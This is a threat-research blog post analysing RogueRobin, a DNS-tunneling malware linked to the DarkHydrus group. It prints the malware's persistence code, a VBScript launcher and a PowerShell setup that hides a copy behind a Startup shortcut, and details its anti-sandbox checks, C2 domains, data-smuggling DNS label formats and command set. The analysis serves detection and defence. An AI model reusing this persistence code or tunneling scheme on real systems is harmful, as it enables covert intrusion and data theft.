DNS tunneling series, part 3: The siren song of RogueRobin

ironnet.com/blog/dns-tunneling-series-part-3-the-siren-song-of-roguerobin/

Feb 6, 2020

NOTE: This is part 3 of this DNS Tunneling series. Be sure to check out part 1 ("Chirp of the PoisonFrog") and part 2 ("A glimpse into glimpse").

Overview

In this blog post, we examine a DNS tunneling malware, known as RogueRobin, that has been associated with the DarkHydrus threat group. DarkHydrus has been linked to the Iranian government and largely uses spear-phishing and credential harvesting attacks on government and educational institutions.

There are two variants of RogueRobin that we will be looking at, one written in PowerShell and another compiled as a .NET executable. Both versions are very closely related but vary in significant ways, particularly when it comes to the communications. Our goal for this post is to highlight those differences where appropriate.

The core of RogueRobin's DNS tunneling mechanism involves encoding of DNS requests and replies of various resource record types between the victim host and its controller. These communications contain specifically encoded DNS labels and responses that implement a covert communication channel. In contrast, the previous two DNS tunneling samples we examined, PoisonFrog and Glimpse, heavily relied on the contents of resolved IP addresses via A record records. Although the communications may be different, the overall code flow of both variants are the same. Each variant periodically checks in with the controller for waiting jobs to perform. Then they receive and perform these tasks and send the results back to the controller. A more detailed breakdown of how these steps are accomplished by each variant is described below.

Samples

Variant	MD5
DNSProject.exe (.NET executable)	e795ba49aaf09119a2e95795857a62c0
PowerShell script	5ac98c51e901a48fae7255b34526c60d

Startup and Persistence Mechanisms

The RogueRobin .NET variant first checks its command line arguments for the parameter st:off. If found, it disables its persistence mechanism, which we will describe later in the post. Another potential command line parameter is pd:off which disables the display of a decoy PDF. This data is expected to be contained within one of the program's variables and, if so, is saved to %TEMP%\doc.pdf. In this sample, no data was present. The RogueRobin PowerShell variant doesn't contain any code to display a decoy PDF.

Both RogueRobin variants contain mechanisms to ensure persistence across reboots.However, they accomplish this in slightly different ways. The .NET variant modifies the Run key in HKEY_CURRENT_USER, adds the value of OfficeUpdateService and points it to a VBScript it has written to %PUBLIC%\Documents\OfficeUpdateService.vbs. This VBScript executes its own executable, a copy of which it places in %PUBLIC%\Documents\OfficeUpdateService.exe. **Below is an example of VBScript code for the .NET variant.**

```
on error resume next
Dim appdata_path, exe_path
Set shell = CreateObject("WScript.Shell")
appdata_path = shell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") &
"\\Users\\Public\\Documents"
exe_path = appdata_path + "\\OfficeUpdateService.exe st:off pd:off"
WScript.echo exe_path
set process = GetObject("winmgmts:Win32_Process")
result = process.Create(exe_path, null, null, processid)
```

Persistence mechanism VBScript Code for .NET RogueRobin

Conversely, the PowerShell variant creates a shortcut file (.lnk) in the user's Startup folder, places a copy of itself in %APPDATA% as OneDrive.ps1,and creates a batch file that executes OneDrive.ps1 in a hidden window. This copy of the RogueRobin script is embedded in compressed form in the running PowerShell code and is identical except the one set to execute from the batch file has its persistence code removed. **Below is an example of the setup for the PowerShell variant.**

```
$command = @'
(nEw-oBJEcT
io.coMPreSSIOn.DEfLatEStreAM([IO.mEMoRYsTrEAm][SysTEM.CoNVErt]::fROmbaSe64stRInG(
"[Removed for brevity]") 2>&1 | out-null
'@
Set-Content -Path "$env:APPDATA\OneDrive.bat" -value 'powershell.exe -WindowStyle
Hidden -exec bypass  -File "%APPDATA%\OneDrive.ps1"'
Set-Content -Path "$env:APPDATA\OneDrive.ps1" -value $command
$shell = New-Object -ComObject WScript.Shell
$shortcut =
$shell.CreateShortcut("$env:SystemDrive\Users\$env:USERNAME\AppData\Roaming\Microsoft
\Windows\Start Menu\Programs\Startup\OneDrive.lnk")
$shortcut.TargetPath = "$env:APPDATA\OneDrive.bat"
$shortcut.save();
```

Persistence mechanism setup for PowerShell RogueRobin

Anti-sandboxing/Anti-analysis

Both the PowerShell and .NET RogueRobin variants perform a series of checks to ensure they are not being run in a sandbox or analysis environment. They do this by performing the following checks and abort if any of them are true:

Check	Result Checked For	Variant Performing Check
BIOS version	VBOX, bochs, qemu, VirtualBox, VM	Both
BIOS manufacturer	XEN	Both
Total physical memory	Less than 2.7 GB	Both
Number of CPU cores	Less than or equal to 1	Both
Process list	Wireshark, Sysinternals	Both
Computer system	VMware	.NET
Debugger.IsAttached	True	.NET

Although there are many similarities between the PowerShell and the .NET variants of RogueRobin, such as function names and overall code flow, there are significant differences, particularly in the way Command and Control (C2) and data encoding are achieved. For the remainder of the blog post, we will discuss each variant individually, pointing out notable similarities and differences where appropriate.

PowerShell Variant

Issuing DNS Queries

DNS queries are the mechanism by which RogueRobin communicates with its controller. The communication is performed by a function called "query." To perform these queries, RogueRobin directly invokes the native Windows binary nslookup.exe. With nslookup.exe, the malware appends the various parameters necessary to build a command line to be executed, generating the DNS request. It will then parse nslookup's output which constitutes the DNS reply. Because it is running as a PowerShell script, nslookup can be invoked directly by the script. Before each DNS query, ipconfig/flushdns is issued to ensure DNS results are not being stored by local DNS cache. Once the cache has been flushed, it builds the nslookup command as follows:

nslookup.exe -timeout=<timeout> -q=<mode> <query>.<domain> <server>

Here we break down the command, where:

- <timeout>: The value to wait for a reply (defaults to 5 seconds)
- <mode>: DNS resource record type (A, AAAA, AC, SRV, SOA, TXT, MX, CNAME)

- <query>: The DNS label containing the tunnelled data to be decoded by the controller, the format of which will be discussed later in this blog post
- <domain>: One of the DNS domains listed below
- <server>: An authoritative name server to be used (can be blank)

RogueRobin makes use of a DNS resource record of type “AC.” This mode is not a real DNS record type and is used solely for use with this malware. This mode appears to be able to receive tunnelled communications as either an A or CNAME-style record. For AC mode, nslookup commands are built differently than normal queries but are sent out as normal type A records as follows:

nslookup.exe -timeout=<timeout> -q=a <query>.ac.<domain> <server>

The “query” function can perform several notable functions. It uses a helper function called “roundRobin” which simply rotates, in round robin fashion, to the next item in a list passed to it. It invokes this in order to rotate the DNS domains used for each query performed. It can also do this for the DNS resource record types, which it calls “modes,” used to perform a query. Whether to change the mode can be specified manually but roundRobin will default to the value specified in the global variable “hybridMode” which is set to true.

The query function also has the ability to specify an authoritative DNS server to use. It maintains this server address in a global variable called $Global:server. In the PowerShell variant we analyzed, this value was left blank which will cause the malware to use the DNS server used by the victim host.

For every DNS request sent, the associated DNS reply will be checked for the strings timeout, UnKnown can, or Unspecified error. If this occurs, it will perform the query again using a new domain. It will also check the reply for text containing 00900, regular expression 1.2.9.\d+, or 2200:: and return cancel if any are found.

If an exception occurs when trying to perform a DNS request and/or receive a reply, the function will sleep for the amount of time in seconds specified by the global variable $sleep in addition or subtraction of a random value chosen using the equation jitter * sleep / 100. Using the values found in this variant, the minimum and maximum sleep times would be 2.4 and 3.6 seconds respectively if left unchanged.

The following list names the domains used by the PowerShell variant:

- anyconnect.stream
- bigip.stream
- fortiweb.download
- kaspersky.science
- microtik.stream
- owa365.bid
- symanteclive.download
- windowsdefender.win

Registering With The Controller
RogueRobin begins by registering itself with its controller via DNS. All communications with this variant are performed using DNS and the victim registration process is no exception. This is done by performing a DNS request for <pid>.<domain>. For example, if the PID for powershell.exe is 4114, then a request might be issued for 4114.anyconnect.stream.

If registration is successful, the controller will send back a DNS response containing the victim host’s identifier to be saved and used in future communications. This will be extracted by RogueRobin’s “magic” function using the “getid” state which we will explain later in the blog post.

RogueRobin will also issue test queries using various DNS resource record types to identify which ones are successful. These test queries are as follows:

- A
- AAAA
- AC (only used by RogueRobin, actually an A record but adds the “.ac” label before the domain)
- CNAME
- MX
- TXT
- SRV
- SOA

RogueRobin refers to these DNS resource record types internally as the “mode.” Once this information is compiled, a pipe-separated string of which resource record types were successful and which were not will be sent using a jobID of 2. An example of this string is as follows:

A:1|AAAA:1|AC:1|CNAME:1|MX:1|TXT:1|SRV:1|SOA:1

Additionally, victim information will also be compiled and sent back to the controller with a jobID of 1. That victim information includes the following values and configuration parameters, which are combined into a pipe-separated string prior to transmission to the controller:

- IP address

- Domain
- Computer name
- User name
- If the logged on user has administrative privileges
- If communications will have “garbage” inserted into the message (explained later)
- If startup persistence was enabled
- If hybrid mode is enabled
- Sleep time
- Jitter time (sleep value variance)

Once testing is complete, RogueRobin’s main functionality begins. The main functionality consists of an infinite loop but will break out of this loop under certain conditions. Encoded labels in DNS requests from the infected victim host are used to ask the controller if there are any waiting jobs to be performed and, if so, another request will be made requesting the actual job data be sent back. The controller, in turn, responds to these DNS requests in the form of DNS replies containing encoded responses. These encoded responses are parsed by the “magic” function.

Magic Function
The magic function is responsible for extracting tunneled data from encoded DNS replies sent by the controller. This function operates on one DNS reply at a time so any looping that needs to be done, such as receiving larger jobs, are handled by the calling function.

The magic function takes a parameter called “state” that determines how to parse the controller’s DNS replies based on the type of operation being performed and also takes into account the current “mode” or DNS resource record type returned. It has the ability to extract three types of information received:

- haveJob: Checks if there are any waiting jobs or tasks
- getid: D numbers can be extracted to be used to reference a particular job or task identifier
- getjob: Extracts job data from the DNS reply based on a jobID

The table below summarizes the magic function and the various ways from which data is extracted from DNS replies.

PowerShell RogueRobin Magic Function Extractions Summary					
State	Record Type (mode)	Regex	Regex Capture Group(s)	Returns	Extraction Algorithm
getid	A, AC	Address:\s+(\d+.\d+.\d+.\d+)	1: IP address containing the ID value	ID value or 0 if no match/cancel	Extracts the first octet of the IP address which is the ID
	AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})	1: IPv6 address containing the ID value		Convert each hex character pair in the extracted address to a character and concatenate until a value of 7e is encountered or there is a single character in a hex pair
	CNAME, MX, TXT, SRV, SOA	(\d+)\-.<domain>	1: job ID		
getjob	A	Address:\s+(\d+.\d+.\d+.\d+)	1: IP address containing command data	0 if no match. Otherwise, returns an array of 3 elements: the command data length, ismore flag, and the command data itself	Convert each octet to a character and concatenate until a value of 255 is encountered
	AC				
	AC	\d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.<domain>	1: offset and isMore boolean value (0 or 1) 2: command data		Loops over all regex matches, concatenating all capture group 2
	AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})	1: IPv6 address containing command data		Convert each hex character pair in the extracted address to a character and concatenate until a value of 7e is encountered or there is a single character in a hex pair
	CNAME, MX, TXT, SRV, SOA	(\d+)-([\w\d/=+]{0,})\-.<domain>	1: offset and isMore boolean value (0 or 1) 2: command data		Extract command data from capture group 2. Extract offset and isMore boolean from capture group 1
havejob	AAAA	Address:\s+(([a-fA-F0-	1: No job if	0 if no job waiting	
		9]{0,4}:{1,2}){1,8})	extracted data is '2a00::'. Otherwise, there is a job	1 if there is a job waiting	

Payload Encoding

Another important characteristic to understand is how RogueRobin encodes and decodes the payload data it is transmitting and receiving. When using the word “encoding” or “encoded,” we are referring to data that has been processed by a function called insertGarbage. At a minimum, this function takes the plaintext data, converts it to UTF8, and then base64-encodes. Additionally, if the global boolean variable called “hasGarbage” is set to “1,” it will then insert a random character in the set [a-z0-9=/] at every third character in the base64-encoded string. dThe removeGarbage function performs this operation in reverse in such cases where it needs to decode data received from its controller.

PowerShell Main DNS Tunneling Operations

After registration is complete, RogueRobin will enter its main DNS tunneling loop where it starts by checking to see if there are completed or failed jobs which were processed in a previous iteration. These jobs are managed as native Windows jobs and are accessed by using PowerShell “job” cmdlets such as Start-Job and Receive-Job. This enables the malware author to offload much of the overhead associated with managing a job queue. Any job results waiting will be sent to the controller using the “spliting” function, which we will discuss later.

Next, a DNS query is issued using the following format:

<victim ID>-<3 random characters in [a-z0-9]>X.<domain>

Once a response is received, it will use regex to determine if the response was in the proper format. The regex expression used is dependent upon which DNS record type, or mode, is being handled. The table below illustrates which expressions are used with which modes:

Mode/Record Type(s)	Expected Match
CNAME, MX, TXT, SRV, SOA	`(\d+)-.<domain>`
AAAA	`Address:\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})`
A, AC	`Address:\s+1.1.(\d+.\d+)`

These regular expressions are used to perform initial sanity checks on the controller's responses and set flags which track whether the response was an A record or AAAA record. If it is determined the response was an AAAA record, the magic function will be called to extract the jobID out of the DNS reply. If this function returns a value of 0, this will be treated as a request to cancel the transaction. If an A record is returned, the malware will combine the first two octets of the "resolved" IP address and use that as the jobID. In the case of all the other modes, the jobID will be the numbers preceding the dash (see the table above).

Once the jobID has been extracted, RogueRobin will call the "gettingJob" function to perform further DNS queries to receive a pending job from its controller. The gettingJob function is responsible for performing DNS queries requesting encoded job data until there is no more data to be received.

The gettingJob function requests job data associated with the jobID by performing the following DNS query:

<victim ID>-<jobID>-<offset>.<domain>

or, if AC mode is enabled:

<victim ID>-<jobID>-<offset>.ac.<domain>

If the DNS reply results in a "cancel" message, the receive loop will be broken. Otherwise, it passes the received message to the magic function with a state of "getjob" for extraction. For the getjob state, this function returns an array of three elements: the encoded job data, an "isMore" flag value indicating if more data needs to be sent, and the offset within the data stream to which this data belongs. Each iteration of this loop builds a buffer that accumulates the job data. RogueRobin will continue to accumulate more job data via DNS requests until the isMore data flag is set to false or a cancellation message is received.

Once the job has been received in full by the victim host, it checks to see if the command data is the string "cancel" and cancels the operation if so. Otherwise, the data is sent to the "removeGarbage" command to be decoded and then various regexes are used to parse the command received. The possible commands are as follows:

PowerShell Variant - Command List	
Command (regex)	Function
^\$fileDownload	Sends a file on the victim host to the controller
^\$importModule	Adds a script block to a PowerShell job to be executed in the context of a provided user name and password, if provided. Working directory will be %APPDATA%
^\$screenshot	Executes a PowerShell command
^\$command	Executes a PowerShell command and sends the results to the controller
^slp:\d+	Sets a sleep time per DNS query as well as "jitter" time, a value which causes the sleep time to vary randomly up to this maximum amount
^testmode	Tests communications with the controller for a given DNS record type
^showconfig	Sends the current victim configuration values. This includes: domains to be used, minimum query size, maximum query size, flag indicating if garbage values are to be inserted into/removed from communications, hasStartup, sleep time per request, maximum requests, query types to be used, hybrid mode (true or false)
^slpx:\d+	Extra time to sleep if the number of DNS requests to the controller exceeds a maximum request count
^\$fileUpload	Saves a file on the victim host. Gets file data to be saved using gettingJob command

Spliting Function - Sending Data Back To The Controller

The spliting function is responsible for preparing and sending data to the controller. It is used to transmit status messages, job results, and file data. The spliting function takes three parameters: the data to be sent, a boolean value indicating whether "garbage" should be inserted into the encoded data, and the jobID with which the data is associated. The messages are packaged and sent to the controller as DNS requests. For messages that need to be broken up, multiple DNS messages will be sent until all the data is transmitted.

This function always starts by UTF8-encoding and then base64-encoding the data it is given. Additionally, if insertion of garbage is specified, RogueRobin will insert "garbage" characters into its communications if the hasGarbage global boolean flag has been set to true. If the flag is true, the "insertGarbage" function is first called, passing to it the data stream into which garbage should be inserted. This function will then insert a random character in the set [a-z0-9=/] at every third character in the base64-encoded string.

As we stated earlier, the spliting function tunnels messages to the controller in the form of DNS requests. If a single message is too long for a single transmission, that message must be broken into a series of smaller messages and each of those must be sent as individual DNS requests. To do this, RogueRobin chooses a random value between two variables min_query_size and max_query_size which it then uses as a truncation point for the current partial message. This partial message, or message chunk, will be tunneled to the controller as a DNS request. The malware will maintain a variable called offset which it uses to track the position in the exfiltrated data where the next transmission should begin. RogueRobin will continue breaking up messages into chunks this way until the entire encoded message has been transmitted. In this version, the minimum and maximum query sizes were 30 and 43, respectively, although these can be easily changed.

Messages destined for the controller using the spliting function will be sent as follows:

<victim ID>-<jobID>-<offset><isMore flag>-<message data>.<domain>

Messages with the AC mode being enabled will be sent as follows:

<victim ID>-<jobID>-<offset><isMore flag>-<message data>.ac.<domain>

For each DNS request sent, a DNS reply will be received and each will be checked for the following:

Applicable Mode	Reply Value	Meaning
<any>	cancel	Cancel the operation
Any other than A	ok	Data sent, send next chunk
A, AC	1.1.1.\d+	Data sent, send next chunk
AAAA	2a00::	Data sent, send next chunk
<any>	<no match>	Resend current chunk

.NET Variant

The .NET variant is very closely related to its PowerShell cousin in that it uses the same general code flow and DNS tunneling mechanism but varies in the underlying details of communications.

Issuing DNS Queries

The .NET variant issues DNS queries in much the same manner as its PowerShell version with the exception that the .NET version spawns a hidden PowerShell process in order to execute the nslookup.exe command. The domain list is also changed to the following four entries:

- akdns.live
- akamaiedge.live
- edgekey.live
- akamaized.live

The .NET variant also introduces the concept of DNS request types. These request types, “a” through “d,” determine how the label for the DNS request is going to be built. “Encoding” in the table below refers to the “number_to_word” encoding described later. The following table illustrates the request types and how they are structured:

Request Type	DNS Label Structure	Purpose
a	a<encoded process ID>c	Registering the victim with a controller/receive victim ID
b	b<encoded victim ID>c	Checking if there are waiting jobs
c	c<encoded victim ID><encoded 3-digit jobID><encoded offset>	Receiving job data
d	dc<encoded victim ID><encoded 3-digit jobID><encoded data length><more data, encoded 0 or 1><randomly-chosen separator character><encoded data> where <separator> is a random character from the set: r, s, t, u, v	Sending data/results to the controller (spliting function)

Once the label is built, a domain from its domain list is appended to the end. The selected domain is used in the building of the nslookup command line which is done similarly to its PowerShell cousin but with one significant change. Regardless of the request type, if the DNS record type (mode) is AC, RogueRobin will always append a hyphen and two random characters before the domain as follows:

nslookup.exe -timeout=<timeout> -q=<mode> <query>-<2 random characters>.<domain> <server>

The following are notable differences from the PowerShell variant:

- Default <timeout> value is set to 10 seconds
- <2 random characters> which are obtained from a call to Path.GetRandomFilename
- Jitter value is set to 25

Additionally, before each DNS query, .NET RogueRobin checks to see if a debugger is attached with a call to Debugger.IsAttached. If a debugger is attached, it will issue a DNS query as follows:

nslookup.exe -timeout=<timeout> -q=<mode> 676f6f646c75636b.gogle[.]co <server>

676f6f646c75636b is the hexadecimal representation of the string goodluck.

Regardless of which query will be performed, they are all done in a hidden PowerShell window whose working directory is set to Environment.SpecialFolder.CommonDocuments which translates to %PUBLIC%\Documents\ on Windows 7.

After issuing a query, the result is tested against the following regular expression:

216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.mic

If there is a match, this function returns cancel. If there is no match, it will check the result for:

timeout|UnKnown can|Unspecified error

which causes the function to return the false string of “$$FALSE$$.” It will also test the result for:

canonical name|mx|namerserver|mail server|address

This regex, representing the success case, will return the result representing the DNS reply to the calling function.

Registering with the Controller
.NET RogueRobin registers itself with its controller in a slightly different manner than the PowerShell variant. Instead of issuing a query for <pid>.<domain> as was done in the previous case, it issues a request type “a” DNS query. As stated before, a translation function called number_to_word is used to encode the various PID digits as letters. If .NET RogueRobin were registering a victim with the same PID as in the previous PowerShell example (4114), the resulting DNS query would be aliilc.anyconnect.stream.If registration is successful, the controller will return a DNS response containing the embedded victim host’s identifier (victim ID) to be saved and used in future communications. This victim ID will be passed along to, and extracted by, RogueRobin’s “magic” function using the “getid” state. This victim ID will be used for future communications instead of the PID. Test queries will also be issued, cycling through the various DNS resource record types, though now the DNS requests will be of request type “b.”

Once testing is complete, it will use the spliting function to send the same pipe-separated query test string and victim information as its PowerShell variant with the exception that the victim information string has |cs appended to the end. The “cs” string may indicate it is part of a RogueRobin version written in C#. An example of this string is:

172.16.99.201|WIN-7VM|WORKGROUP|testvm|10|0|1|1|3|25|cs

Number-to-Word Encoding
One of the encoding mechanisms used in the .NET RogueRobin is “number_to_word” encoding. This function uses simple substitution to convert a number to a letter. This conversion is summarized in the table below:

.NET RogueRobin “number-to-word” Encoding	
Number	Letter
0	h
1	i
2	j
3	k
4	l
5	m
6	n
7	o
8	p
9	q

Any character processed by this function that is not 0 through 9 will be left as is. The “word_to_number” function, used in other parts of the malware, performs this encoding in reverse, converting letters into their associated number values using the same table.

Magic Function

The “magic” function for the .NET variant of RogueRobin is similar to the PowerShell variant’s, but differs in several ways. First, it builds a regex to match on any of the DNS domains contained within its domain list. PowerShell, on the other hand, simply populates the regular expression with the currently operational domain. Thus, where the table below refers to <domain> for brevity, in actuality, the regex expression built at runtime would be:

(akdns.live|akamaiedge.live|edgekey.live|akamaized.live)

This expression will match on any of the active domain names.

Second, .NET RogueRobin chooses to encode the number values with the number_to_word function so many of the regex expressions have updated that pattern to match word characters (\w) instead of digits (\d).

Finally, the .NET variant makes use of two character classes it calls separator and non-separator. When regular expressions are built to match various parts of the DNS reply, the .NET variant inserts, at runtime, the regular expression representing the character class needed. In this variant, the “separator” [sic] regex is [r-v] representing the characters “r” through “v” and the “not_seperator” [sic] classes is [^r-v\s] representing any characters except “r” through “v” and any whitespace character. For brevity and clarity, these were inserted inline with the regular expression matching table below, although it should be cautioned that these partial regex strings are inserted as variables and can easily be changed.

.NET RogueRobin Magic Function Extractions Summary					
State	Record Type (mode)	Regex	Regex Capture Group(s)	Returns	Extraction Algorithm
getid	A, AC	Address:\s+(\d+.\d+.\d+.\d+)	1: IP address containing the ID value	ID value or 0 if no match/cancel	Extracts the first octet of the IP address which is the ID
	AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})			Convert hex pairs in address string to ASCII characters. If hex number is a single digit or equals "7e," value is "0"
	CNAME, MX, TXT, SRV, SOA	(\w+)\-.<domain>	1: job ID		Word_to_number-decode capture group 1
getjob	A	Address:\s+(\d+.\d+.\d+.\d+)	1: IP address containing command data	0 if no match. Otherwise, returns an array of 3 elements: the command data length, isMore flag, and the command data. If there is an error, the array returned will contain (0, 0, "cancel")	Convert each octet to a character and concatenate until a value of 255 is encountered
	AC				
	AC	([^r-v\s]+)[r-v]([\w\d+\/=]+)-\w+.<domain>	1: encoded offset and isMore boolean value (0 or 1) 2: command data		Loops over all regex matches, concatenating all capture group 2
	AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})	1:		Convert each hex character pair in the extracted address to a character and concatenate until a value of 7e is encountered or there is a single character in a hex pair
	CNAME, MX, TXT, SRV, SOA	([^r-v\s]+)[r-v]([\w\d+\/=]+).<domain>	1: encoded offset and isMore boolean value (0 or 1) 2: command data		Extract command data from capture group 2. Extract offset and isMore boolean from capture group 1
havejob	AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})	1: No job if extracted data is '2a00::'. Otherwise, there is a job	"$$FALSE$$" if no job waiting. Creates 2 element array ($$FALSE$$, $$TRUE$$) if there is a job waiting	

It should be noted that the magic function extracts data from a single DNS reply. It is up to the calling function to generate the necessary DNS requests and accumulate the extracted data accordingly.

.NET Main DNS Tunneling Operations

The .NET variant begins its main operations by sleeping for 1 second and then checking to see if Google Drive mode, called "x_mode," is enabled . If enabled, this variant will attempt to communicate using this capability. However, this alternate communications channel will not be discussed here as it is out of scope for this blog post. Next, this variant will check for tasks by issuing a request type "b" DNS query. It will use regex to extract that portion of the DNS reply that requires parsing of the jobID. The responses are extracted as follows:

Mode	Regex	
CNAME, MX, TXT, SRV, SOA	\s(\w{3}).<domain>	Word_to_number-decode extracted regex data, result is the jobID of the waiting job
TXT	\"(\w+).<domain>.\"	
AAAA	Address:\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})	Use magic function to extract the jobID
A, AC	Two IP addresses must be matched using regex: Address:\s+\d+.\d+.\d+.\d+	Add up last two octets, result is the jobID of the waiting job
	If the second address matches: Address:\s+40.112.(\d+.\d+) then (\d+.\d+) matches the jobID waiting	

It will then use the extraction mechanisms identified in the table above to determine if the received DNS reply indicates the presence of a job waiting. If so, the malware will begin issuing the necessary request type "c" DNS requests in order to receive its job data.

The controller will respond with an encoded DNS reply from which RogueRobin will extract the necessary data using the magic function with a state of getjob. This function returns the command length, a flag indicating if there is more data to be sent (isMore flag), and the command data itself. Other than the command data itself, the rest of the data extracted is used to control the issuance of DNS requests for more data until all command data is properly received. If any error conditions are met, such as the command having a length of 0, “cancel” will be returned.

Unless “cancel” is received, RogueRobin will decode using the word_to_number function and then convert the hexadecimal strings in the command to their corresponding ASCII characters. If successful, the command is then passed to the taskHandler command where the received command is executed in a separate thread. The process then repeats .

The taskHandler function is responsible for parsing the received command data. Each command is parsed in a different way and which command has been issued is determined by more yet regex matching.

The following table lists the commands processed by the .NET variant. Although several of the commands are the same as those found in its PowerShell counterpart, several have also been added and deleted.

.NET Variant - Command List	
Command (regex)	Function
^kill	Terminates a specific thread or set of threads
^\$x_mode	Can turn off x_mode or set x_mode parameters (Google Drive authentication credentials and operations data)
^\$fileDownload	Sends a file on the victim host to the controller
^\$importModule	Adds a script block to a PowerShell job to be executed in the context of a provided user name and password, if provided. Working directory will be %APPDATA%
^\$ClearModules	Clear all module data
^slp:\d+	Sets a sleep time per DNS query as well as “jitter” time, a value which causes the sleep time to vary randomly up this maximum amount
^testmode	Tests communications with the controller for a given DNS record type
^showconfig	Sends the current victim’s malware configuration values. These include: domains to be used, minimum query size, maximum query size, flag indicating if garbage values are to be inserted into/removed from communications, hasStartup, sleep time per request, maximum requests, query types to be used, hybrid mode (true or false).
^changeConfig	Changing victim configuration malware configuration values (see showConfig)
^\$fileUpload	Saves a file on the victim host. Saves file data using gettingJob command.
^exit	Terminates itself

Spliting Function - Sending Data Back to the Controller

The .NET version of the spliting function has the same purpose and takes the same three parameters as its PowerShell cousin:

- The data to be sent
- A boolean value indicating whether the data should be encoded
- The jobID with which the data is associated

However, the underlying communications protocol is, once again, different and instead communicates using request type “d.” First, if the boolean parameter passed is true, the .NET variant will execute “insertGarbage” which involves simply converting the data bytes to their hexadecimal representation. Next, this variant checks to see if x_mode is enabled and, if so, transmits the data using that mechanism. Otherwise, a random value is chosen between min_query_size and max_query_size (30 and 32, respectively in the case of our sample) and is used as a message chunk size. It will extract the chunk size number of characters for transmission using a single DNS query. If the chunk size is greater than the length of the message, it will set the isMore flag to 0, indicating the transfer of the message to its controller is now complete.

Next, it will choose a random “separator” character. This is a randomly chosen character in the set [r-v]. RogueRobin will use these parameters to build a request type “d” DNS request which is then sent to the controller. It will continue to break messages up for transmission until the entire message has been sent. Each query will yield a DNS reply from the controller and each reply will be checked as follows:

Applicable Mode	Reply Value	Meaning
<any>	cancel	Cancel the transmission
<any other than A>	download.windowsupdate.com	Data sent, send next chunk
A, AC	205.185.216.\d+	Data sent, send next chunk
AAAA	2600:1417:3::5f64:aa31	Data sent, send next chunk
<debugger detected>		Cancel the transmission

Conclusion

Anytime an adversary acquires the ability to control both the send and receive side of communications, the potential to perform tunneling exists. Coupling this with a chatty protocol that is necessary to the proper functioning of any Internet-connected network such as DNS provides the adversary a built-in mechanism by which to blend in with noise, hide in plain sight, and increase the chances of going undetected.

This series of blog posts discussed a few examples of malware that use DNS tunneling to communicate. Although the method of DNS tunneling used is similar (e.g., encoded subdomain labels and encoded responses), the structure, encoding, and record type often differed between the samples. PoisonFrog and Glimpse were similar both from a coding and operational standpoint, though Glimpse added text mode which uses TXT resource records to increase the throughput of data from the controller. For RogueRobin, the malware authors went so far as to invent an entirely new DNS record type altogether in their data exfiltration pursuits.

Similar to the malware discussed in our prior posts (Chirp of the PoisonFrog and A Glimpse into Glimpse), RogueRobin makes use of encoded subdomain labels and responses so detection methods between the three types of malware discussed in this series will be similar. The IronDefense Network Traffic Analysis platform combines several behavioral detection methods alongside historical network information to detect the C2 techniques used by the malware examined in this blog series. IronNet's Threat Research team will continue to examine malware and share findings with the community.

Back to IronNet Blog